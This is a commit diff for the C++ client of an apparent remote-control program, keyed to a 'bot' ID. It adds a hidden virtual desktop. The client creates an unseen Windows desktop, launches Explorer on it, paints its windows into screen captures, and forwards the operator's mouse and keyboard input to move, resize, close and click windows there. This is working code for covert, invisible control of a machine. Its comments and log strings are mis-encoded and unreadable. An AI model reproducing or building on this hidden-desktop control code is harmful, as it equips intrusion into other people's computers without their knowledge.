feat: Support virtual remote desktop monitoring

2025-05-31 15:49:40 +08:00
parent 1e0cfe85b8
commit 444de50651
7 changed files with 527 additions and 47 deletions
--- a/client/CursorInfo.h
+++ b/client/CursorInfo.h
@@ -9,6 +9,12 @@
 #pragma once
 #endif // _MSC_VER > 1000

+enum {
+	USING_GDI = 0,
+	USING_DXGI = 1,
+	USING_VIRTUAL = 2,
+};
+
 #define ALGORITHM_GRAY 0
 #define ALGORITHM_DIFF 1
 #define ALGORITHM_H264 2
--- a/client/ScreenCapture.h
+++ b/client/ScreenCapture.h
@@ -91,25 +91,31 @@ public:
 	LPBYTE*		     m_BlockBuffers;	 // <20>ֿ黺<D6BF><E9BBBA>
 	ULONG*			 m_BlockSizes;       // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	int				 m_BlockNum;         // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
+	int				 m_SendQuality;		 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

 	LPBITMAPINFO     m_BitmapInfor_Full; // BMP<4D><50>Ϣ
 	BYTE             m_bAlgorithm;       // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨

+	ULONG			 m_iScreenX;		 // <20><>ʼx<CABC><78><EFBFBD><EFBFBD>
+	ULONG			 m_iScreenY;		 // <20><>ʼy<CABC><79><EFBFBD><EFBFBD>
 	ULONG            m_ulFullWidth;      // <20><>Ļ<EFBFBD><C4BB>
 	ULONG            m_ulFullHeight;     // <20><>Ļ<EFBFBD><C4BB>
 	bool             m_bZoomed;          // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	double           m_wZoom;            // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
 	double           m_hZoom;            // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>

+	int			     m_biBitCount;		 // ÿ<><C3BF><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>
 	int              m_FrameID;          // ֡<><D6A1><EFBFBD><EFBFBD>
 	int              m_GOP;              // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
 	bool		     m_SendKeyFrame;	 // <20><><EFBFBD>͹ؼ<CDB9>֡
 	CX264Encoder	 *m_encoder;		 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

-	ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
-		m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
-		m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), 
-		m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
+	ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) : 
+		m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
+		m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100),
+		m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
+		m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
+		m_SendKeyFrame(false), m_encoder(nullptr) {

 		m_BlockNum = 8;
 		m_ThreadPool = new ThreadPool(m_BlockNum);
@@ -160,6 +166,21 @@ public:
 		SAFE_DELETE(m_encoder);
 	}

+	virtual int SendQuality(int quality) {
+		int old = m_SendQuality;
+		m_SendQuality = quality;
+		return old;
+	}
+
+	virtual RECT GetScreenRect() const {
+		RECT rect;
+		rect.left = m_iScreenX;
+		rect.top = m_iScreenY;
+		rect.right = m_ulFullWidth;
+		rect.bottom = m_ulFullHeight;
+		return rect;
+	}
+
 public:
 	//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
 	virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
@@ -257,8 +278,22 @@ public:
 		}
 	}

+	virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight)
+	{
+		assert(biBitCount == 32);
+		BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)]();
+		bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
+		bmpInfo->bmiHeader.biWidth = biWidth;
+		bmpInfo->bmiHeader.biHeight = biHeight;
+		bmpInfo->bmiHeader.biPlanes = 1;
+		bmpInfo->bmiHeader.biBitCount = 32;
+		bmpInfo->bmiHeader.biCompression = BI_RGB;
+		bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4;
+		return bmpInfo;
+	}
+
 	// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
+	virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
 		BYTE algo = m_bAlgorithm;
 		int frameID = m_FrameID + 1;
 		bool keyFrame = (frameID % m_GOP == 0);
--- a/client/ScreenCapturerDXGI.h
+++ b/client/ScreenCapturerDXGI.h
@@ -22,7 +22,7 @@ private:
 	BYTE* m_NextBuffer = nullptr;

 public:
-	ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
+	ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) {
 		m_GOP = gop;
 		InitDXGI();
 		Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -15,6 +15,8 @@

 #include "ScreenSpy.h"
 #include "ScreenCapturerDXGI.h"
+#include <Shlwapi.h>
+#include <shlobj_core.h>

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
@@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
 {
 	m_bIsWorking = TRUE;
 	m_bIsBlockInput = FALSE;
+	g_hDesk = nullptr;
+	m_DesktopID = GetBotId();
+	m_ScreenSpyObject = nullptr;
+	m_ptrUser = (INT_PTR)user;

-	int DXGI = 0;
+	m_point = {};
+	m_lastPoint = {};
+	m_lmouseDown = FALSE;
+	m_hResMoveWindow = nullptr;
+	m_resMoveType = 0;
+	m_rmouseDown = FALSE;
+	m_rclickPoint = {};
+	m_rclickWnd = nullptr;
+
+	m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
+}
+
+
+std::wstring ConvertToWString(const std::string& multiByteStr) {
+	int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
+	if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
+
+	std::wstring wideStr(len, L'\0');
+	MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
+
+	return wideStr;
+}
+
+bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
+	bool bReturn = false;
+
+	try {
+		if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
+			return false;
+
+		TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
+		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+
+		strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
+
+		std::wstring path = ConvertToWString(pszApplicationFilePath);
+		if (!PathIsExe(path.c_str()))
+			return false;
+		PathRemoveFileSpec(szDirectoryName);
+		STARTUPINFO sInfo = { 0 };
+		PROCESS_INFORMATION pInfo = { 0 };
+
+		sInfo.cb = sizeof(sInfo);
+		sInfo.lpDesktop = pszDesktopName;
+
+		//Launching a application into desktop
+		BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
+			NULL,
+			NULL,
+			NULL,
+			TRUE,
+			NORMAL_PRIORITY_CLASS,
+			NULL,
+			szDirectoryName,
+			&sInfo,
+			&pInfo);
+
+		TCHAR* pszError = NULL;
+		FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+			NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
+
+		if (pszError) {
+			Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
+			LocalFree(pszError);  // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
+		}
+
+		if (bCreateProcessReturn)
+			bReturn = true;
+
+	}
+	catch (...) {
+		bReturn = false;
+	}
+
+	return bReturn;
+}
+
+void CScreenManager::InitScreenSpy() {
+	int DXGI = USING_GDI;
 	BYTE algo = ALGORITHM_DIFF;
+	BYTE* user = (BYTE*)m_ptrUser;
 	if (!(user == NULL || (int)user == 1)) {
 		UserParam* param = (UserParam*)user;
 		if (param) {
@@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
 			algo = param->length > 1 ? param->buffer[1] : algo;
 			delete param;
 		}
-	} else {
+	}
+	else {
 		DXGI = (int)user;
 	}
 	Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
-	if ((1==DXGI && IsWindows8orHigher()))
+	if (DXGI == USING_VIRTUAL) {
+		HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
+		if (!hDesk) {
+			if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
+				Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
+				TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+				GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+				strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
+				if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
+					Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
+				}
+			}
+			else {
+				Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
+			}
+		}
+		else {
+			Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
+		}
+		if (hDesk) {
+			SetThreadDesktop(g_hDesk = hDesk);
+		}
+	}
+
+	if ((USING_DXGI == DXGI && IsWindows8orHigher()))
 	{
 		auto s = new ScreenCapturerDXGI(algo);
 		if (s->IsInitSucceed()) {
@@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
 	}
 	else
 	{
-		m_ScreenSpyObject = new CScreenSpy(32, algo);
+		m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL);
 	}
-
-	m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
 }

-
 DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 {
 	CScreenManager *This = (CScreenManager *)lParam;

+	This->InitScreenSpy();
+
 	This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ

 	// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -285,6 +394,12 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
 	m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
 }

+std::string GetTitle(HWND hWnd) {
+	char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	GetWindowTextA(hWnd, title, sizeof(title));
+	return title;
+}
+
 VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
 {
 	int msgSize = sizeof(MSG64);
@@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
 	BYTE* ptr = szBuffer;
 	MSG32 msg32;
 	MSG64 msg64;
+	if (g_hDesk) {
+		HWND  hWnd = NULL;
+		BOOL  mouseMsg = FALSE;
+		POINT lastPointCopy = {};
+		SetThreadDesktop(g_hDesk);
+		for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+			MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
+				(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+			switch (msg->message) {
+			case WM_KEYUP:
+				return;
+			case WM_CHAR:
+
+			case WM_KEYDOWN: {
+				m_point = m_lastPoint;
+				hWnd = WindowFromPoint(m_point);
+				break;
+			}
+			case WM_RBUTTONDOWN: {
+				// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+				m_rmouseDown = TRUE;
+				m_rclickPoint = msg->pt;
+				break;
+			}
+			case WM_RBUTTONUP: {
+				m_rmouseDown = FALSE;
+				m_rclickWnd = WindowFromPoint(m_rclickPoint);
+				// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+				char szClass[256];
+				GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
+				Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
+				if (strcmp(szClass, "Shell_TrayWnd") == 0) {
+					// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+					PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
+						MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
+				}
+				else {
+					// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
+					if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
+						MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
+						// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
+						keybd_event(VK_SHIFT, 0, 0, 0);
+						keybd_event(VK_F10, 0, 0, 0);
+						keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
+						keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
+					}
+				}
+				break;
+			}
+			default:
+			{
+				mouseMsg = TRUE;
+				m_point = msg->pt;
+				hWnd = WindowFromPoint(m_point);
+				lastPointCopy = m_lastPoint;
+				m_lastPoint = m_point;
+				if (msg->message == WM_LBUTTONUP) {
+					if (m_rclickWnd && hWnd != m_rclickWnd)
+					{
+						PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
+						PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
+						m_rclickWnd = nullptr;
+					}
+					m_lmouseDown = FALSE;
+					LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+					switch (lResult) {
+					case HTTRANSPARENT: {
+						SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
+						lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+						break;
+					}
+					case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
+						PostMessageA(hWnd, WM_CLOSE, 0, 0);
+						Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+						break;
+					}
+					case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
+						PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
+						Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+						break;
+					}
+					case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+						WINDOWPLACEMENT windowPlacement;
+						windowPlacement.length = sizeof(windowPlacement);
+						GetWindowPlacement(hWnd, &windowPlacement);
+						if (windowPlacement.flags & SW_SHOWMAXIMIZED)
+							PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
+						else
+							PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
+						Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+						break;
+					}
+					}
+				}
+				else if (msg->message == WM_LBUTTONDOWN) {
+					m_lmouseDown = TRUE;
+					m_hResMoveWindow = NULL;
+					RECT startButtonRect;
+					HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
+					GetWindowRect(hStartButton, &startButtonRect);
+					if (PtInRect(&startButtonRect, m_point)) {
+						PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>⿪ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
+						continue;
+					}
+					else {
+						char windowClass[MAX_PATH] = { 0 };
+						RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
+						if (!lstrcmpA(windowClass, "#32768")) {
+							HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
+							int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
+							int itemId = GetMenuItemID(hMenu, itemPos);
+							PostMessageA(hWnd, 0x1e5, itemPos, 0);
+							PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
+							continue;
+						}
+					}
+				}
+				else if (msg->message == WM_MOUSEMOVE) {
+					if (!m_lmouseDown)
+						continue;
+					if (!m_hResMoveWindow)
+						m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+					else
+						hWnd = m_hResMoveWindow;
+					int moveX = lastPointCopy.x - m_point.x;
+					int moveY = lastPointCopy.y - m_point.y;
+
+					RECT rect;
+					GetWindowRect(hWnd, &rect);
+					int x = rect.left;
+					int y = rect.top;
+					int width = rect.right - rect.left;
+					int height = rect.bottom - rect.top;
+					switch (m_resMoveType) {
+					case HTCAPTION: {
+						x -= moveX;
+						y -= moveY;
+						break;
+					}
+					case HTTOP: {
+						y -= moveY;
+						height += moveY;
+						break;
+					}
+					case HTBOTTOM: {
+						height -= moveY;
+						break;
+					}
+					case HTLEFT: {
+						x -= moveX;
+						width += moveX;
+						break;
+					}
+					case HTRIGHT: {
+						width -= moveX;
+						break;
+					}
+					case HTTOPLEFT: {
+						y -= moveY;
+						height += moveY;
+						x -= moveX;
+						width += moveX;
+						break;
+					}
+					case HTTOPRIGHT: {
+						y -= moveY;
+						height += moveY;
+						width -= moveX;
+						break;
+					}
+					case HTBOTTOMLEFT: {
+						height -= moveY;
+						x -= moveX;
+						width += moveX;
+						break;
+					}
+					case HTBOTTOMRIGHT: {
+						height -= moveY;
+						width -= moveX;
+						break;
+					}
+					default:
+						continue;
+					}
+					MoveWindow(hWnd, x, y, width, height, FALSE);
+					m_hResMoveWindow = hWnd;
+					continue;
+				}
+				break;
+			}
+			}
+			for (HWND currHwnd = hWnd;;) {
+				hWnd = currHwnd;
+				ScreenToClient(currHwnd, &m_point);
+				currHwnd = ChildWindowFromPoint(currHwnd, m_point);
+				if (!currHwnd || currHwnd == hWnd)
+					break;
+			}
+			if (mouseMsg)
+				msg->lParam = MAKELPARAM(m_point.x, m_point.y);
+			PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
+		}
+		return;
+	}
 	for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
 	{
 		MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
--- a/client/ScreenManager.h
+++ b/client/ScreenManager.h
@@ -13,6 +13,8 @@
 #include "ScreenSpy.h"
 #include "ScreenCapture.h"

+bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
+
 class IOCPClient;

 class CScreenManager : public CManager  
@@ -22,6 +24,7 @@ public:
 	virtual ~CScreenManager();
 	HANDLE  m_hWorkThread;

+	void InitScreenSpy();
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
 	VOID SendBitMapInfo();
 	VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
@@ -32,10 +35,23 @@ public:
 	VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);

 	VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
+	INT_PTR m_ptrUser;
+	HDESK g_hDesk;
+	std::string m_DesktopID;
 	BOOL  m_bIsWorking;
 	BOOL  m_bIsBlockInput;
 	VOID SendClientClipboard();
 	VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);	
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	POINT               m_point;
+	POINT               m_lastPoint;
+	BOOL                m_lmouseDown;
+	HWND                m_hResMoveWindow;
+	LRESULT             m_resMoveType;
+	BOOL				m_rmouseDown;      // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
+	POINT				m_rclickPoint;     // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HWND				m_rclickWnd;	   // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
 };

 #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
--- a/client/ScreenSpy.cpp
+++ b/client/ScreenSpy.cpp
@@ -11,10 +11,10 @@
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////

-CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
+CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) : 
+	ScreenCapture(ulbiBitCount, algo)
 {
 	m_GOP = gop;
-	int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;

 	m_BitmapInfor_Full = new BITMAPINFO();
 	memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a
 	BitmapInforHeader->biSizeImage =
 		((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;

-	m_hDeskTopWnd = GetDesktopWindow();
-	m_hFullDC = GetDC(m_hDeskTopWnd);
+	m_hDeskTopDC = GetDC(NULL);

 	m_BitmapData_Full = NULL;
-	m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
-	m_BitmapHandle	= ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
+	m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
+	m_BitmapHandle	= ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
 	::SelectObject(m_hFullMemDC, m_BitmapHandle);
 	m_FirstBuffer = (LPBYTE)m_BitmapData_Full;

 	m_DiffBitmapData_Full = NULL;
-	m_hDiffMemDC	= CreateCompatibleDC(m_hFullDC); 
-	m_DiffBitmapHandle	= ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
+	m_hDiffMemDC	= CreateCompatibleDC(m_hDeskTopDC); 
+	m_DiffBitmapHandle	= ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
 	::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);

-	m_RectBufferOffset = 0;
-	m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
+	m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
+
+	m_bVirtualPaint = vDesk;
+	m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
 }


@@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy()
 		m_BitmapInfor_Full = NULL;
 	}

-	ReleaseDC(m_hDeskTopWnd, m_hFullDC);
+	ReleaseDC(NULL, m_hDeskTopDC);

 	if (m_hFullMemDC!=NULL)
 	{
@@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy()
 		delete[] m_RectBuffer;
 		m_RectBuffer = NULL;
 	}
-
-	m_RectBufferOffset = 0;
 }

 LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
 {
-	//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
-	::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
-
+	ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
 	m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
 	memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
 	if (m_bAlgorithm == ALGORITHM_GRAY) {
@@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)

 VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
 {
+	if (m_bVirtualPaint){
+		int n = 0;
+		if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
+			Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n);
+		}
+		return;
+	}
 	AUTO_TICK(70);
 #if COPY_ALL
 	BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
--- a/client/ScreenSpy.h
+++ b/client/ScreenSpy.h
@@ -14,24 +14,76 @@
 #include "ScreenCapture.h"


+class EnumHwndsPrintData {
+public:
+	EnumHwndsPrintData() {
+		memset(this, 0, sizeof(EnumHwndsPrintData));
+	}
+	void Create(HDC desktop, int _x, int _y, int w, int h) {
+		x = _x;
+		y = _y;
+		width = w;
+		height = h;
+		hDcWindow = CreateCompatibleDC(desktop);
+		hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
+	}
+	EnumHwndsPrintData& SetScreenDC(HDC dc) {
+		hDcScreen = dc;
+		return *this;
+	}
+	~EnumHwndsPrintData() {
+		if (hDcWindow) DeleteDC(hDcWindow);
+		hDcWindow = nullptr;
+		if (hBmpWindow)DeleteObject(hBmpWindow);
+		hBmpWindow = nullptr;
+	}
+	HDC GetWindowDC() const {
+		return hDcWindow;
+	}
+	HDC GetScreenDC() const {
+		return hDcScreen;
+	}
+	HBITMAP GetWindowBmp() const {
+		return hBmpWindow;
+	}
+	int X() const {
+		return x;
+	}
+	int Y() const {
+		return y;
+	}
+	int Width()const {
+		return width;
+	}
+	int Height()const {
+		return height;
+	}
+private:
+	HDC hDcWindow;
+	HDC hDcScreen;
+	HBITMAP hBmpWindow;
+	int x;
+	int y;
+	int width;
+	int height;
+};
+
 class CScreenSpy  : public ScreenCapture
 {
-private:
-	HWND             m_hDeskTopWnd;      //<2F><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD>
